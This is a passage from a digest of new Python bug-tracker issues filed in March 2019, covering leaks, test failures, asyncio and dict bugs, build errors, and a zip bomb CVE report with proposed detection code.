test__xxsubinterpreters leaked [138, 138, 138] references, sum=414
test__xxsubinterpreters leaked [69, 69, 69] memory blocks, sum=207
4 tests failed again:
    test__xxsubinterpreters test_atexit test_capi test_threading


https://buildbot.python.org/all/#/builders/1/builds/546

----------
components: Interpreter Core, Tests
messages: 338949
nosy: pablogsal
priority: normal
severity: normal
status: open
title: test__xxsubinterpreters leaked regards and memory blocks
type: resource usage
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36447>
_______________________________________

From report at bugs.python.org  Wed Mar 27 07:21:01 2019
From: report at bugs.python.org (Jeroen Demeyer)
Date: Wed, 27 Mar 2019 11:21:01 +0000
Subject: [New-bugs-announce] [issue36448] Message "You will need to rebuild
 pythoncore to see the changes" should mention "make regen-all"
Message-ID: <1553685661.75.0.808746958355.issue36448@roundup.psfhosted.org>


New submission from Jeroen Demeyer <J.Demeyer at UGent.be>:

On Windows builds, one may get the message

C:\projects\cpython\PCbuild\_freeze_importlib.vcxproj(130,5): error : importlib.h, importlib_external.h, importlib_zipimport.h updated. You will need to rebuild pythoncore to see the changes.

See for example https://bugs.python.org/issue29631 and https://discuss.python.org/t/windows-ci-build-fails-with-you-will-need-to-rebuild-pythoncore-to-see-the-changes/1071

The fix is simply running "make regen-all". It would be good to mention this in that error message.

----------
components: Windows
messages: 338952
nosy: jdemeyer, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Message "You will need to rebuild pythoncore to see the changes" should mention "make regen-all"

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36448>
_______________________________________

From report at bugs.python.org  Wed Mar 27 07:28:56 2019
From: report at bugs.python.org (Andrey Lemets)
Date: Wed, 27 Mar 2019 11:28:56 +0000
Subject: [New-bugs-announce] [issue36449] __aexit__ is not called when a
 context manager is used in an async generator
Message-ID: <1553686136.79.0.432823149733.issue36449@roundup.psfhosted.org>


New submission from Andrey Lemets <a.a.lemets at gmail.com>:

This code (https://gist.github.com/EnotYoyo/d751951c5ff77e22686715aa9ab05b56) works correctly in python3.6.6 but does not in python3.6.8+

----------
components: asyncio
messages: 338953
nosy: Andrey Lemets, asvetlov, yselivanov
priority: normal
severity: normal
status: open
title: __aexit__ is not called when a context manager is used in an async generator
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36449>
_______________________________________

From report at bugs.python.org  Wed Mar 27 11:05:38 2019
From: report at bugs.python.org (John Bachman)
Date: Wed, 27 Mar 2019 15:05:38 +0000
Subject: [New-bugs-announce] [issue36450] 3D Array Assignment to all 2D
 sub-arrays
Message-ID: <1553699138.18.0.271627371672.issue36450@roundup.psfhosted.org>


New submission from John Bachman <jbachman at umass.edu>:

Tested on Python3.6 on Ubuntu 18.04
The following code snippet produces the wrong results.

Snippet:

M = [[[0] * 2] * 2] * 2                                                                
M[0][0][0] = 1                                                                                                                                                                 
print(M[0][0][0]) # Should be one                                                                      
print(M[1][0][0]) # Should still be zero 

My output:
1
1

For some reason when you assign to any list inside the 3D matrix, all lists in the array are changed, 2D Matrix works but 3D modifies every 2D matrix.

----------
components: Interpreter Core
messages: 338963
nosy: John Bachman
priority: normal
severity: normal
status: open
title: 3D Array Assignment to all 2D sub-arrays
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36450>
_______________________________________

From report at bugs.python.org  Wed Mar 27 19:06:56 2019
From: report at bugs.python.org (Solo Lee)
Date: Wed, 27 Mar 2019 23:06:56 +0000
Subject: [New-bugs-announce] [issue36451] Docs zh-cn roots error in nav bar
Message-ID: <1553728016.97.0.58667749867.issue36451@roundup.psfhosted.org>


New submission from Solo Lee <basolo88 at gmail.com>:

There is no link to zh-cn docs in python docs page, as in the file upload.
Thx!

----------
files: python docs en page.png
messages: 338992
nosy: Solo Lee
priority: normal
severity: normal
status: open
title: Docs zh-cn roots error in nav bar
type: behavior
Added file: https://bugs.python.org/file48233/python docs en page.png

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36451>
_______________________________________

From report at bugs.python.org  Wed Mar 27 19:41:18 2019
From: report at bugs.python.org (Thomas Perl)
Date: Wed, 27 Mar 2019 23:41:18 +0000
Subject: [New-bugs-announce] [issue36452] Detect dict iteration "overflow"
 when changing keys
Message-ID: <1553730078.06.0.0762712838657.issue36452@roundup.psfhosted.org>


New submission from Thomas Perl <th.perl at gmail.com>:

Using: Python 3.8 (git commit ID: d5a5a33f12b60129d57f9b423b77d2fcba506834), the following code snippet:

=====
a = {0: 0}

for i in a:
    del a[i]
    a[i+1] = 0
    print(i)
=====

Prints the following output:

=====
0
1
2
3
4
=====

The reason for this seems to be the way the internal key list is managed and the "next" value in this list is retrieved. The amount of items seems to be related to USABLE_FRACTION(PyDict_MINSIZE).

Since cases where the dictionary size changes are detected with a RuntimeError, I would expect the invariant to be "the number of iterations is the len() of the dict at the time the iterator is created to be enforced. Whether to raise a StopIteration instead or raising a RuntimeError is up for debate.

Attached is a patch that tries to detect this corner case and raise a RuntimeError instead (plus a unit test).

Note also that without the patch, the __length_hint__() of the iterator actually underflows:

=====
a = {0: 0}
it = iter(a)
print('Length hint:', it.__length_hint__())
next(it)
print('Length hint:', it.__length_hint__())
del a[0]
a[1] = 0
next(it)
print('Length hint:', it.__length_hint__())
=====

----------
files: 0001-dictiterobject-Track-maximum-iteration-count-via-di-.patch
keywords: patch
messages: 338997
nosy: thomas.perl
priority: normal
severity: normal
status: open
title: Detect dict iteration "overflow" when changing keys
type: behavior
versions: Python 3.8
Added file: https://bugs.python.org/file48234/0001-dictiterobject-Track-maximum-iteration-count-via-di-.patch

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36452>
_______________________________________

From report at bugs.python.org  Wed Mar 27 20:11:08 2019
From: report at bugs.python.org (Windson Yang)
Date: Thu, 28 Mar 2019 00:11:08 +0000
Subject: [New-bugs-announce] [issue36453] get_importer only return the first
 valid path_hook(importer)
Message-ID: <1553731868.7.0.689003457524.issue36453@roundup.psfhosted.org>


New submission from Windson Yang <wiwindson at outlook.com>:

Is it an expected behavior the get_importer function only returns the first valid path_hook(importer) from sys.path_hooks?

def get_importer(path_item):
    """Retrieve a finder for the given path item

    The returned finder is cached in sys.path_importer_cache
    if it was newly created by a path hook.

    The cache (or part of it) can be cleared manually if a
    rescan of sys.path_hooks is necessary.
    """
    try:
        importer = sys.path_importer_cache[path_item]
    except KeyError:
        for path_hook in sys.path_hooks:
            try:
                importer = path_hook(path_item)
                sys.path_importer_cache.setdefault(path_item, importer)
                break
            except ImportError:
                pass
        else:
            importer = None
    return importer

Does the order in sys.path_hooks matters? We should document it if it does. Btw get_importer function is lack of test.

----------
components: Library (Lib)
messages: 339000
nosy: Windson Yang
priority: normal
severity: normal
status: open
title: get_importer only return the first valid path_hook(importer)
type: behavior
versions: Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36453>
_______________________________________

From report at bugs.python.org  Wed Mar 27 21:54:53 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 28 Mar 2019 01:54:53 +0000
Subject: [New-bugs-announce] [issue36454] test_time: test_monotonic() failed
 on AMD64 FreeBSD 10-STABLE Non-Debug 3.7
Message-ID: <1553738093.66.0.485436393765.issue36454@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

AMD64 FreeBSD 10-STABLE Non-Debug 3.7:
https://buildbot.python.org/all/#/builders/170/builds/354

======================================================================
FAIL: test_monotonic (test.test_time.TimeTestCase)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/usr/home/buildbot/python/3.7.koobs-freebsd10.nondebug/build/Lib/test/test_time.py", line 474, in test_monotonic
    self.assertTrue(0.45 <= dt <= 1.0, dt)
AssertionError: False is not true : 1.0372954378835857

Extract of the test:

    def test_monotonic(self):
        ...

        # monotonic() includes time elapsed during a sleep
        t1 = time.monotonic()
        time.sleep(0.5)
        t2 = time.monotonic()
        dt = t2 - t1
        self.assertGreater(t2, t1)
        # Issue #20101: On some Windows machines, dt may be slightly low
        self.assertTrue(0.45 <= dt <= 1.0, dt)

        ...

IMHO the test is too strict. It should not test the maximum value of dt, only the minimum.

----------
components: Tests
messages: 339002
nosy: vstinner
priority: normal
severity: normal
status: open
title: test_time: test_monotonic() failed on AMD64 FreeBSD 10-STABLE Non-Debug 3.7
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36454>
_______________________________________

From report at bugs.python.org  Wed Mar 27 22:40:42 2019
From: report at bugs.python.org (James Edwards)
Date: Thu, 28 Mar 2019 02:40:42 +0000
Subject: [New-bugs-announce] [issue36455] collections.abc.Sequence doesn't
 support reflection/introspection
Message-ID: <1553740842.38.0.441898568042.issue36455@roundup.psfhosted.org>


New submission from James Edwards <jheiv at jheiv.com>:

Consider:

    from collections.abc import *

    class DefinitelyNotAList:
        def __init__(self, backer):
            self.backer = backer

        def __getitem__(self, key):
            return self.backer[key]

        def __len__(self):
            return len(self.backer)

        def __contains__(self, needle):
            return needle in self.backer

        def __reversed__(self):
            return reversed(self.backer)

        def __iter__(self):
            return list.__iter__(self.backer)

        def index(self, *args, **kwargs): return self.backer.index(*args, **kwargs)

        def count(self, *args, **kwargs): return self.backer.count(*args, **kwargs)


    dnal = DefinitelyNotAList([2,4,6,8])

    for abc in [Collection, Reversible, Sized, Iterable, Container, Sequence]:
        print(abc.__name__.ljust(12), isinstance(dnal, abc))


Which prints:

    Collection   True
    Reversible   True
    Sized        True
    Iterable     True
    Container    True
    Sequence     False

I'm not sure whether this is a bug, a docs bug, or just a misunderstanding but my expectation, is that, somehow, I could get isinstance(obj, Sequence) to return *without* explicitly registering it, just as True is returned for the other abcs.

----------
components: Library (Lib)
messages: 339003
nosy: jedwards
priority: normal
severity: normal
status: open
title: collections.abc.Sequence doesn't support reflection/introspection
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36455>
_______________________________________

From report at bugs.python.org  Wed Mar 27 22:52:54 2019
From: report at bugs.python.org (Dima Tisnek)
Date: Thu, 28 Mar 2019 02:52:54 +0000
Subject: [New-bugs-announce] [issue36456] task.cancel unbound recursion
Message-ID: <1553741574.55.0.426835875653.issue36456@roundup.psfhosted.org>


New submission from Dima Tisnek <dimaqq at gmail.com>:

Cancelling a deadlocked group of tasks results in MaximumRecursionError

Inspired by https://stackoverflow.com/questions/55341189/handling-asyncio-deadlocks

Given the following test-asyncio.py:

```
import asyncio


async def test():
    async def f():
        await g_task

    async def g():
        await f_task

    f_task = asyncio.create_task(f())
    g_task = asyncio.create_task(g())

    async def release():
        await asyncio.sleep(5)
        f_task.cancel()

    await asyncio.gather(f_task, g_task, release())

asyncio.run(test())
```

Results in:

```
Traceback (most recent call last):
  File ".../python3.8/asyncio/runners.py", line 43, in run
    return loop.run_until_complete(main)
  File ".../python3.8/asyncio/base_events.py", line 589, in run_until_complete
    return future.result()
  File "test-asyncio.py", line 18, in test
    await asyncio.gather(f_task, g_task, release())
  File "test-asyncio.py", line 16, in release
    f_task.cancel()
RecursionError: maximum recursion depth exceeded while calling a Python object

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "test-asyncio.py", line 20, in <module>
    asyncio.run(test())
  File ".../python3.8/asyncio/runners.py", line 46, in run
    _cancel_all_tasks(loop)
  File ".../python3.8/asyncio/runners.py", line 59, in _cancel_all_tasks
    task.cancel()
RecursionError: maximum recursion depth exceeded while calling a Python object
Exception in default exception handler
Traceback (most recent call last):
  File ".../python3.8/asyncio/base_events.py", line 1644, in call_exception_handler
    self.default_exception_handler(context)
  File ".../python3.8/asyncio/base_events.py", line 1615, in default_exception_handler
    value = repr(value)
  File ".../python3.8/asyncio/base_tasks.py", line 21, in _task_repr_info
    info.insert(3, f'wait_for={task._fut_waiter!r}')
  File ".../python3.8/asyncio/base_tasks.py", line 21, in _task_repr_info
    info.insert(3, f'wait_for={task._fut_waiter!r}')
  File ".../python3.8/asyncio/base_tasks.py", line 21, in _task_repr_info
    info.insert(3, f'wait_for={task._fut_waiter!r}')
  [Previous line repeated 326 more times]
  File ".../python3.8/asyncio/base_tasks.py", line 9, in _task_repr_info
    info = base_futures._future_repr_info(task)
  File ".../python3.8/asyncio/base_futures.py", line 57, in _future_repr_info
    info.append(_format_callbacks(future._callbacks))
  File ".../python3.8/asyncio/base_futures.py", line 36, in _format_callbacks
    cb = '{}, {}'.format(format_cb(cb[0][0]), format_cb(cb[1][0]))
  File ".../python3.8/asyncio/base_futures.py", line 31, in format_cb
    return format_helpers._format_callback_source(callback, ())
  File ".../python3.8/asyncio/format_helpers.py", line 23, in _format_callback_source
    func_repr = _format_callback(func, args, None)
  File ".../python3.8/asyncio/format_helpers.py", line 56, in _format_callback
    func_repr += _format_args_and_kwargs(args, kwargs)
  File ".../python3.8/asyncio/format_helpers.py", line 41, in _format_args_and_kwargs
    return '({})'.format(', '.join(items))
RecursionError: maximum recursion depth exceeded while calling a Python object
Exception in default exception handler
Traceback (most recent call last):
  File ".../python3.8/asyncio/base_events.py", line 1644, in call_exception_handler
    self.default_exception_handler(context)
  File ".../python3.8/asyncio/base_events.py", line 1615, in default_exception_handler
    value = repr(value)
  File ".../python3.8/asyncio/base_tasks.py", line 21, in _task_repr_info
    info.insert(3, f'wait_for={task._fut_waiter!r}')
  File ".../python3.8/asyncio/base_tasks.py", line 21, in _task_repr_info
    info.insert(3, f'wait_for={task._fut_waiter!r}')
  File ".../python3.8/asyncio/base_tasks.py", line 21, in _task_repr_info
    info.insert(3, f'wait_for={task._fut_waiter!r}')
  [Previous line repeated 326 more times]
  File ".../python3.8/asyncio/base_tasks.py", line 9, in _task_repr_info
    info = base_futures._future_repr_info(task)
  File ".../python3.8/asyncio/base_futures.py", line 57, in _future_repr_info
    info.append(_format_callbacks(future._callbacks))
  File ".../python3.8/asyncio/base_futures.py", line 36, in _format_callbacks
    cb = '{}, {}'.format(format_cb(cb[0][0]), format_cb(cb[1][0]))
  File ".../python3.8/asyncio/base_futures.py", line 31, in format_cb
    return format_helpers._format_callback_source(callback, ())
  File ".../python3.8/asyncio/format_helpers.py", line 23, in _format_callback_source
    func_repr = _format_callback(func, args, None)
  File ".../python3.8/asyncio/format_helpers.py", line 56, in _format_callback
    func_repr += _format_args_and_kwargs(args, kwargs)
  File ".../python3.8/asyncio/format_helpers.py", line 41, in _format_args_and_kwargs
    return '({})'.format(', '.join(items))
RecursionError: maximum recursion depth exceeded while calling a Python object
```

----------
components: asyncio
messages: 339006
nosy: Dima.Tisnek, asvetlov, yselivanov
priority: normal
severity: normal
status: open
title: task.cancel unbound recursion
versions: Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36456>
_______________________________________

From report at bugs.python.org  Wed Mar 27 23:42:39 2019
From: report at bugs.python.org (Tim Mitchell)
Date: Thu, 28 Mar 2019 03:42:39 +0000
Subject: [New-bugs-announce] [issue36457] functools.singledispatchmethod
 interacts poorly with subclasses
Message-ID: <1553744559.32.0.207343635807.issue36457@roundup.psfhosted.org>


New submission from Tim Mitchell <tim.mitchell at seequent.com>:

The new functools.singledispatchmethod (issue32380) class interacts poorly with subclasses.
There is no way for a sub-class to override or extend the dispatch registry.
E.g.

class BaseVistor:
   @singledispatchmethod
   def visit(self, obj):
      raise ValueError('Explict vistor implementation missing)

class AVisitor(BaseVisitor):
   # problem: here we can only register against base class method
   @BaseVistor.visit.reister(int)
   def visit_int(self, obj):
       print ('integer')

The AVistor class has now changed the dispatch registry for BaseVistor class which is bad.

To fix this the dispatch registry needs to be copied for each subclass and an alternate register mechanism provided for subclasses to register against a subclass method.
See attached file and pypi methoddispatch for details :)

----------
components: Library (Lib)
files: methoddispatch36.py
messages: 339008
nosy: Tim Mitchell2, inada.naoki
priority: normal
severity: normal
status: open
title: functools.singledispatchmethod interacts poorly with subclasses
type: behavior
versions: Python 3.8
Added file: https://bugs.python.org/file48235/methoddispatch36.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36457>
_______________________________________

From report at bugs.python.org  Wed Mar 27 23:47:26 2019
From: report at bugs.python.org (patrik)
Date: Thu, 28 Mar 2019 03:47:26 +0000
Subject: [New-bugs-announce] [issue36458] Compile errors --without-threads
Message-ID: <1553744846.57.0.404081712878.issue36458@roundup.psfhosted.org>


New submission from patrik <patrik.haslum at anu.edu.au>:

Compiling python 3.6.8 configured with --without-threads (no other options) fails, with undefined references to PyGILState_GetThisThreadState in pylifecycle.c, and PyGILState_Ensure and PyGILState_Release in object.c.

I used Louis' fix from issue #24784 in pylifecycle.c, and placed #ifdef WITH_THREADS around the undefined calls in object.c (both in _PyObject_dump). With this, compiling works.

Installing then fails because Lib/threading.py attempts to import _thread, which is not available. This can be fixed by replacing the import with the pattern described in _dummy_thread:

try:
    import _thread
except ImportError:
    import _dummy_thread as _thread

import _thread happens in two places in threading.py (the second is "from _thread import stack_size"); both have to be rewritten as above.

There is also an unguarded import _thread in telnetlib, but it's inside a method def (mt_interact in class Telnet) so perhaps it does not cause installation to fail.

----------
components: Build
messages: 339009
nosy: patrik
priority: normal
severity: normal
status: open
title: Compile errors --without-threads
type: compile error
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36458>
_______________________________________

From report at bugs.python.org  Thu Mar 28 00:33:19 2019
From: report at bugs.python.org (Zackery Spytz)
Date: Thu, 28 Mar 2019 04:33:19 +0000
Subject: [New-bugs-announce] [issue36459] A possible double PyMem_FREE() due
 to tokenizer.c's tok_nextc()
Message-ID: <1553747599.58.0.374930801661.issue36459@roundup.psfhosted.org>


New submission from Zackery Spytz <zspytz at gmail.com>:

Commit cb90c89de14aab636739b3e810cf949e47b54a0c added a PyMem_FREE(tok->buf) call in tok_nextc() if a PyMem_REALLOC() call fails. This will cause a double free when PyTokenizer_Free() is called on the tokenizer state.

----------
components: Interpreter Core
messages: 339013
nosy: ZackerySpytz
priority: normal
severity: normal
status: open
title: A possible double PyMem_FREE() due to tokenizer.c's tok_nextc()
type: crash
versions: Python 2.7, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36459>
_______________________________________

From report at bugs.python.org  Thu Mar 28 05:49:28 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Thu, 28 Mar 2019 09:49:28 +0000
Subject: [New-bugs-announce] [issue36461] timeit: Additional changes for
 autorange
Message-ID: <1553766568.14.0.657766350537.issue36461@roundup.psfhosted.org>


New submission from Cheryl Sabella <cheryl.sabella at gmail.com>:

#6422 implemented the autorange function for timeit, but in msg272704, Steven D'Aprano outlined follow-up change requests to that patch.

- make the 0.2s time configurable;
- have `timeit` and `repeat` methods (and functions) fall back 
  on `autorange` if the number is set to 0 or None.

Opening this ticket for those change requests.

----------
components: Library (Lib)
keywords: easy
messages: 339025
nosy: cheryl.sabella
priority: normal
severity: normal
stage: needs patch
status: open
title: timeit: Additional changes for autorange
type: enhancement
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36461>
_______________________________________

From report at bugs.python.org  Thu Mar 28 11:46:11 2019
From: report at bugs.python.org (JUN-WEI SONG)
Date: Thu, 28 Mar 2019 15:46:11 +0000
Subject: [New-bugs-announce] [issue36462] CVE-2019-9674 : zip bomb
 vulnerability in Lib/zipfile.py
Message-ID: <1553787971.02.0.405823788778.issue36462@roundup.psfhosted.org>


New submission from JUN-WEI SONG <sungboss2004 at gmail.com>:

Dear Python Community, 

we found a python module vulnerability during these days and we got a CVE number, CVE-2019-9674 after reported it to cve.mitre.org.

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9674


The reserved information of CVE-2019-9674 is shown below:

	   [Description]

           Lib/zipfile.py in Python through 3.7.2 allows remote 
           attackers to cause a denial of service (resource consumption) 
           via a ZIP bomb.


           [Additional Information]

           The python zipfile library version 3.2, 3.3, 3.4, 3.5, 3.6, 
           3.7, 3.8. Allow attackers to cause a denial of service (disk 
           volume exhaustion) via a ZIP bomb.


           We have found python standard library zipfile doesn't have 
           ZIP bomb detection and protection. If the user uses zipfile 
           library to unzip a ZIP bomb file, this might cause a denial 
           of service of the localhost.


          [VulnerabilityType Other]

          Denial-of-Service



Our proposed solutions:


    1.The compression ratio:

    Compression ratio = Uncompressed file size / Compressed file size

    Since ZIP bomb file has a higher compression ratio (1028) than 
    normal ZIP file (1 to 3). Therefore, we calculate the compression 
    ratio and set a threshold for the detection.

    2.Nested zip file

    There is a high chance that it is zip bomb if it is a nested zip 
    file. 

    3.By limiting resources such as CPU, memory, disk usage.


Unsolved issue

    However, we have not yet determined the compression ratio. We 
    temporarily set the compression ratio to 10, and if it exceeds, it 
    may be a ZIP bomb.

    It is likely that detection may misjudge nested compressed files. 
    For example, under normal circumstances, compressed files are 
    included in the zip file.


Our solution code?

"""For ratio"""

def _exam_ratio(self, threshold=10):
    """If the ratio exceeds threshold, it may be a ZIP Bomb."""
    sum_file_size = sum([data.file_size for data in self.filelist])
    sum_compress_size = sum([data.compress_size for data in self.filelist])
    ratio = sum_file_size / sum_compress_size
    if (ratio > threshold):
        raise BadZipFile("Zip Bomb Detected")

"""For Nested zip file"""

if(members.filename.endswith(".zip")):
    raise BadZipFile("Nested Zip File Detected")


Thanks!

----------
components: Library (Lib)
messages: 339053
nosy: krnick
priority: normal
severity: normal
status: open
title: CVE-2019-9674 : zip bomb vulnerability in Lib/zipfile.py
type: security
versions: Python 3.5, Python 3.6, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36462>
_______________________________________

From report at bugs.python.org  Thu Mar 28 15:32:46 2019
From: report at bugs.python.org (Savagery)
Date: Thu, 28 Mar 2019 19:32:46 +0000
Subject: [New-bugs-announce] [issue36463] python37.dll crashing 0xc000041d
Message-ID: <1553801566.37.0.489496504409.issue36463@roundup.psfhosted.org>


New submission from Savagery <lucas.johnathan.wilson at gmail.com>:

Faulting application name: python.exe, version: 3.7.2150.1013, time stamp: 0x5c200a7f
Faulting module name: python37.dll, version: 3.7.2150.1013, time stamp: 0x5c200a56
Exception code: 0xc000041d
Fault offset: 0x0011517b
Faulting process ID: 0x4c2c
Faulting application start time: 0x01d4e5999a14e806
Faulting application path: C:\Users\lwilson\AppData\Local\Programs\Python\Python37-32\python.exe
Faulting module path: C:\Users\lwilson\AppData\Local\Programs\Python\Python37-32\python37.dll
Report ID: 511d75b6-febe-4358-a886-ccfd89b1747e
Faulting package full name: 
Faulting package-relative application ID: 

------

I'm using ctypes to create a UI in my code, python is crashing silently. Managed to get some info from windows event log. Have no clue why - seems the more static controls I create, the higher the likelihood of this happening is.

----------
components: Windows
files: debug.rar
messages: 339074
nosy: Savagery, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: python37.dll crashing 0xc000041d
type: crash
versions: Python 3.7
Added file: https://bugs.python.org/file48236/debug.rar

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36463>
_______________________________________

From report at bugs.python.org  Thu Mar 28 18:14:37 2019
From: report at bugs.python.org (Paul Smith)
Date: Thu, 28 Mar 2019 22:14:37 +0000
Subject: [New-bugs-announce] [issue36464] Python 2.7 build install fails
 intermittently with -j on MacOS
Message-ID: <1553811277.77.0.695389248612.issue36464@roundup.psfhosted.org>


New submission from Paul Smith <paul at mad-scientist.net>:

Maybe no one cares anymore, but I've discovered that if I run make with -j the installation sometimes fails with this error:

install: mkdir /Users/build/.../dist/python/x86_64-darwin/lib: File exists

I believe it's because the targets altbininstall and libainstall as well as $(DESTSHARED) ($(BINLIBDEST)/lib-dynload) all contain a for loop which tries to create $(LIBDIR).  The makefile uses the install -d command to create directories and this command will fail if the directory already exists.

I haven't investigated the full dependency chain but at least two of the above targets don't have a relationship that forces make to avoid running them both at the same time.

Maybe a better solution would be to create a separate target like make-directories or something that creates all the directories and have the other targets depend on that one target.  Or something.

As it is, my MacOS builds fail about 1 in 5 times or similar.

Interestingly my Linux builds never fail.  Not sure if install works differently on Linux, or the timing is just different there.

----------
components: Build
messages: 339078
nosy: madscientist
priority: normal
severity: normal
status: open
title: Python 2.7 build install fails intermittently with -j on MacOS
type: behavior
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36464>
_______________________________________

From report at bugs.python.org  Thu Mar 28 19:01:42 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 28 Mar 2019 23:01:42 +0000
Subject: [New-bugs-announce] [issue36465] No longer enable Py_TRACE_REFS by
 default in debug build
Message-ID: <1553814102.98.0.064217796616.issue36465@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

When Python is built in debug mode, PyObject gets 2 new fields: _ob_prev and _ob_next. These fields change the offset of following fields in the PyObject structure and so breaks the ABI.

I propose to modify the debug build (Py_DEBUG) to not imply Py_TRACE_REFS anymore. Antoine Pitrou proposed this idea when the C API was discussed to get a stable ABI.

Another more radical idea is to completely remove Py_TRACE_REFS special build.

----------
components: Build
messages: 339079
nosy: pitrou, vstinner
priority: normal
severity: normal
status: open
title: No longer enable Py_TRACE_REFS by default in debug build
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36465>
_______________________________________

From report at bugs.python.org  Thu Mar 28 22:11:47 2019
From: report at bugs.python.org (cary)
Date: Fri, 29 Mar 2019 02:11:47 +0000
Subject: [New-bugs-announce] [issue36466] Adding a way to strip annotations
 from compiled bytecode
Message-ID: <1553825507.66.0.407362572806.issue36466@roundup.psfhosted.org>


New submission from cary <cary at dropbox.com>:

Similar to how `-OO` currently strips docstrings from compiled bytecode, it would be nice if there were a way to strip annotations as well to further compact the bytecode.

Attached is my initial attempt. From some simple manual testing, Python with this patch applied will generate the same bytecode (verified with `marshal` and `dis`) for two files with the same logic, but with annotations manually removed from one of them.

This will probably need some new flag/optimization level rather than relying on `-OO` (as it would be a breaking change).

Open to initial reviews of the patch and idea in general, and suggestions on how to best thread the option through to the module.

----------
components: Interpreter Core
files: strip_annotations.patch
keywords: patch
messages: 339091
nosy: cary
priority: normal
severity: normal
status: open
title: Adding a way to strip annotations from compiled bytecode
type: enhancement
Added file: https://bugs.python.org/file48237/strip_annotations.patch

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36466>
_______________________________________

From report at bugs.python.org  Fri Mar 29 03:28:51 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Fri, 29 Mar 2019 07:28:51 +0000
Subject: [New-bugs-announce] [issue36467] IDLE to help with invisible
 characters
Message-ID: <1553844531.48.0.961433807157.issue36467@roundup.psfhosted.org>


New submission from Raymond Hettinger <raymond.hettinger at gmail.com>:

When teaching Python, it is common to have someone encounter as code issue where the code looks fine, but it raising a SyntaxError.   Usually, the problem is solved by deleting the line and retyping it.

I would think that IDLE would be able to detect unprintable characters and deal with them in some way (display a placeholder, elide them from the text, add a warning message, or some such).  If IDLE can help out in this regard, it would improve the end-user experience.

----------
assignee: terry.reedy
components: IDLE
messages: 339097
nosy: rhettinger, terry.reedy
priority: normal
severity: normal
status: open
title: IDLE to help with invisible characters
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36467>
_______________________________________

From report at bugs.python.org  Fri Mar 29 04:31:58 2019
From: report at bugs.python.org (Burgunder)
Date: Fri, 29 Mar 2019 08:31:58 +0000
Subject: [New-bugs-announce] [issue36468] Treeview: wrong color change
Message-ID: <1553848318.4.0.250762836848.issue36468@roundup.psfhosted.org>


New submission from Burgunder <guillaume.burgunder at univ-fcomte.fr>:

Hello,
color change with Treeview does not work in Python 3.7.3,
but it works with Python 3.7.2.

Test code:
# -*- coding: utf-8 -*-
import tkinter
from tkinter import ttk
root = tkinter.Tk ()
style = ttk.Style (root)
style.configure ("Treeview", foreground="yellow", background="grey", fieldbackground="green")
tree = ttk.Treeview (root, columns=('Data'))
tree.heading ('#0', text='Item')
tree.heading ('#1', text='Data')
tree.insert ("", "end", text="Item_0", values=100, tags="A")
tree.insert ("", "end", text="Item_1", values=200, tags="B")
tree.insert ("", "end", text="Item_2", values=300, tags="C")
tree.tag_configure ("A", foreground="black") #Py 3.7.3: no effect
tree.tag_configure ("B", foreground="red")
tree.pack ()
root.mainloop ()

----------
components: Tkinter
files: test_treeview_color.png
messages: 339101
nosy: guillaumeb
priority: normal
severity: normal
status: open
title: Treeview: wrong color change
type: behavior
versions: Python 3.7
Added file: https://bugs.python.org/file48238/test_treeview_color.png

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36468>
_______________________________________

From report at bugs.python.org  Fri Mar 29 06:45:19 2019
From: report at bugs.python.org (Remy Noel)
Date: Fri, 29 Mar 2019 10:45:19 +0000
Subject: [New-bugs-announce] [issue36469] Stuck during interpreter exit,
 attempting to take the GIL
Message-ID: <1553856319.46.0.350569249761.issue36469@roundup.psfhosted.org>


New submission from Remy Noel <remy.noel at blade-group.com>:

I have a script (sadly, I can't publish it) spawning multiple threads that, in rare occurences, does not manage to exit properly and get stuck forever.

More precisely, this seems to happen during Interpreter exit: The atexit callbacks are called sucessfully, and we then have multiple threads that are all atempting to get the GIL why None seems to owns it (_PyThreadState_Current is always '{_value = 0}' while gil_locked is '{_value = 1}').

The main thread stack looks like this:

#0  pthread_cond_timedwait@@GLIBC_2.3.2 () at ../sysdeps/unix/sysv/linux/x86_64/pthread_cond_timedwait.S:225
